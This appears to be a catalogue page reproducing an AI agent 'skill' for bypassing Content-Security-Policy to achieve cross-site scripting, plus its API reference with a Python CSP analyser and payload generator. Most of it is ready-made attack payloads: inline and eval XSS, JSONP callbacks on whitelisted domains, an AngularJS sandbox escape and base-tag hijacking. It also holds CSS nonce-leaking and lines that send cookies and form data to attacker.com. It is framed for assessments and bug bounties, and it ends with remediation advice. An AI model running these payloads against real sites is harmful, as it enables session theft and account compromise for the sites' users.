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title: performing-content-security-policy-bypass skill (Anthropic-Cybersecurity-Skills)
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**What it does.** Analyze Content-Security-Policy headers and bypass them to achieve cross-site Part of [[skills-anthropic-cybersecurity-skills]] (mukul975/Anthropic-Cybersecurity-Skills).

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| Upstream | [mukul975/Anthropic-Cybersecurity-Skills](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) |
| Skill file | [skills/performing-content-security-policy-bypass/SKILL.md](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/performing-content-security-policy-bypass/SKILL.md) |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |

## Install

- `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass`, or copy the skill folder into `~/.claude/skills/performing-content-security-policy-bypass/`.
- Raw file: `curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/SKILL.md`

## SKILL.md (verbatim)

```yaml
name: performing-content-security-policy-bypass
description: Analyze Content-Security-Policy headers and bypass them to achieve cross-site
  scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri
  and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without
  script-src control. Use during web application security assessments or bug bounty
  hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration
  for weaknesses.
domain: cybersecurity
subdomain: web-application-security
tags:
- csp-bypass
- content-security-policy
- xss
- script-injection
- nonce-bypass
- jsonp
- policy-misconfiguration
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
```

# Performing Content Security Policy Bypass

## When to Use
- When XSS is found but execution is blocked by Content Security Policy
- During web application security assessments to evaluate CSP effectiveness
- When testing the robustness of CSP against known bypass techniques
- During bug bounty hunting where CSP prevents direct XSS exploitation
- When auditing CSP header configuration for security weaknesses

## Prerequisites
- Burp Suite for intercepting responses and analyzing CSP headers
- CSP Evaluator (Google) for automated policy analysis
- Understanding of CSP directives (script-src, default-src, style-src, etc.)
- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
- Browser developer tools for CSP violation monitoring
- Collection of whitelisted domain JSONP endpoints

## Workflow

### Step 1 — Analyze the CSP Policy
```bash
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
```

### Step 2 — Exploit unsafe-inline and unsafe-eval
```bash
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead
```

### Step 3 — Exploit Whitelisted Domain JSONP Endpoints
```bash
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
```

### Step 4 — Exploit base-uri and Form Action Bypasses
```bash
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
```

### Step 5 — Exploit Nonce and Hash Bypasses
```bash
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'
```

### Step 6 — Exploit Data Exfiltration Without script-src
```bash
# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |
| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |
| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |
| Policy Injection | Injecting CSP directives through reflected user input in headers |
| base-uri Hijacking | Redirecting relative script loads by injecting a base element |
| Script Gadgets | Legitimate library features that can be abused to bypass CSP |
| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |
| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |
| CSP Scanner | Browser extension for identifying CSP bypass opportunities |
| csp-bypass | Curated list of CSP bypass techniques and payloads |
| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |
| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |

## Common Scenarios

1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server
5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS

## Output Format

```
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers
```

## Other files in this skill

- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/LICENSE)
- [references/api-reference.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/references/api-reference.md)
- [scripts/agent.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/scripts/agent.py)

## references/api-reference.md (verbatim)

# API Reference: Content Security Policy (CSP) Bypass Testing

## Libraries Used

| Library | Purpose |
|---------|---------|
| `requests` | Fetch target page headers and HTML content |
| `re` | Parse CSP directives and detect bypass patterns |
| `json` | Structure findings and report output |
| `urllib.parse` | Parse and analyze allowed CSP source domains |

## Installation

```bash
pip install requests
```

## CSP Directive Reference

| Directive | Controls |
|-----------|----------|
| `default-src` | Fallback for all resource types |
| `script-src` | JavaScript execution sources |
| `style-src` | CSS stylesheet sources |
| `img-src` | Image sources |
| `connect-src` | XMLHttpRequest, fetch, WebSocket |
| `font-src` | Font file sources |
| `object-src` | Plugin sources (Flash, Java) |
| `frame-src` | iframe embedding sources |
| `base-uri` | Controls `<base>` tag URLs |
| `form-action` | Controls form submission targets |
| `frame-ancestors` | Controls who can embed this page |
| `report-uri` | CSP violation report endpoint |

## Core Operations

### Fetch and Parse CSP Header
```python
import requests
import re

def get_csp(url):
    resp = requests.get(url, timeout=10)
    csp = resp.headers.get("Content-Security-Policy", "")
    csp_ro = resp.headers.get("Content-Security-Policy-Report-Only", "")
    return {
        "url": url,
        "csp": csp,
        "csp_report_only": csp_ro,
        "has_csp": bool(csp),
        "directives": parse_csp(csp) if csp else {},
    }

def parse_csp(csp_string):
    directives = {}
    for directive in csp_string.split(";"):
        parts = directive.strip().split()
        if parts:
            name = parts[0].lower()
            values = parts[1:] if len(parts) > 1 else []
            directives[name] = values
    return directives
```

### Analyze CSP for Weaknesses
```python
BYPASS_PATTERNS = {
    "'unsafe-inline'": "Allows inline scripts — XSS bypass",
    "'unsafe-eval'": "Allows eval() — code injection bypass",
    "data:": "Allows data: URIs — can inject inline content",
    "blob:": "Allows blob: URIs — can create executable blobs",
    "*": "Wildcard source — no effective restriction",
    "http:": "Allows HTTP — mixed content / MITM bypass",
}

JSONP_ENDPOINTS = [
    "accounts.google.com", "ajax.googleapis.com",
    "cdn.jsdelivr.net", "cdnjs.cloudflare.com",
    "*.githubusercontent.com", "raw.githubusercontent.com",
]

def analyze_csp(directives):
    findings = []

    # Check for missing critical directives
    if "default-src" not in directives and "script-src" not in directives:
        findings.append({
            "directive": "script-src",
            "issue": "No script-src or default-src — scripts unrestricted",
            "severity": "critical",
        })

    if "object-src" not in directives:
        findings.append({
            "directive": "object-src",
            "issue": "Missing object-src — plugin-based XSS possible",
            "severity": "high",
        })

    if "base-uri" not in directives:
        findings.append({
            "directive": "base-uri",
            "issue": "Missing base-uri — base tag injection possible",
            "severity": "medium",
        })

    # Check each directive for bypass patterns
    for directive, values in directives.items():
        for value in values:
            if value in BYPASS_PATTERNS:
                findings.append({
                    "directive": directive,
                    "value": value,
                    "issue": BYPASS_PATTERNS[value],
                    "severity": "high" if value in ("'unsafe-inline'", "'unsafe-eval'", "*") else "medium",
                })

            # Check for JSONP-hosting CDNs
            for jsonp_host in JSONP_ENDPOINTS:
                if jsonp_host in value or value.endswith(jsonp_host):
                    findings.append({
                        "directive": directive,
                        "value": value,
                        "issue": f"Allows {jsonp_host} — JSONP/script gadget bypass possible",
                        "severity": "high",
                    })

    return findings
```

### Check for Nonce/Hash Based CSP
```python
def check_nonce_hash(directives, html_content):
    script_src = directives.get("script-src", [])

    nonces = [v for v in script_src if v.startswith("'nonce-")]
    hashes = [v for v in script_src if v.startswith("'sha256-") or v.startswith("'sha384-")]

    findings = []
    if nonces:
        # Check if nonce is reused (static)
        nonce_value = nonces[0].strip("'").replace("nonce-", "")
        if len(nonce_value) < 16:
            findings.append({
                "issue": "Nonce is too short — may be predictable",
                "severity": "medium",
            })

    if not nonces and not hashes and "'strict-dynamic'" not in script_src:
        if "'unsafe-inline'" not in script_src:
            findings.append({
                "issue": "No nonce, hash, or strict-dynamic — consider adding",
                "severity": "info",
            })

    return {"nonces": len(nonces), "hashes": len(hashes), "findings": findings}
```

### Generate Bypass Payloads
```python
def suggest_bypasses(directives):
    """Suggest CSP bypass techniques based on the policy."""
    bypasses = []
    script_src = directives.get("script-src", directives.get("default-src", []))

    if "'unsafe-inline'" in script_src:
        bypasses.append({
            "technique": "Inline script injection",
            "payload": "<script>alert(document.domain)</script>",
        })

    if "'unsafe-eval'" in script_src:
        bypasses.append({
            "technique": "eval() injection",
            "payload": "<img src=x onerror=\"eval(atob('YWxlcnQoMSk='))\">",
        })

    if any("googleapis.com" in v for v in script_src):
        bypasses.append({
            "technique": "Google JSONP callback",
            "payload": "<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1)'></script>",
        })

    if "data:" in script_src:
        bypasses.append({
            "technique": "Data URI script",
            "payload": "<script src='data:text/javascript,alert(1)'></script>",
        })

    return bypasses
```

## Output Format

```json
{
  "url": "https://example.com",
  "has_csp": true,
  "directives_count": 8,
  "findings": [
    {
      "directive": "script-src",
      "value": "'unsafe-inline'",
      "issue": "Allows inline scripts — XSS bypass",
      "severity": "high"
    }
  ],
  "bypass_techniques": 2,
  "overall_rating": "weak"
}
```

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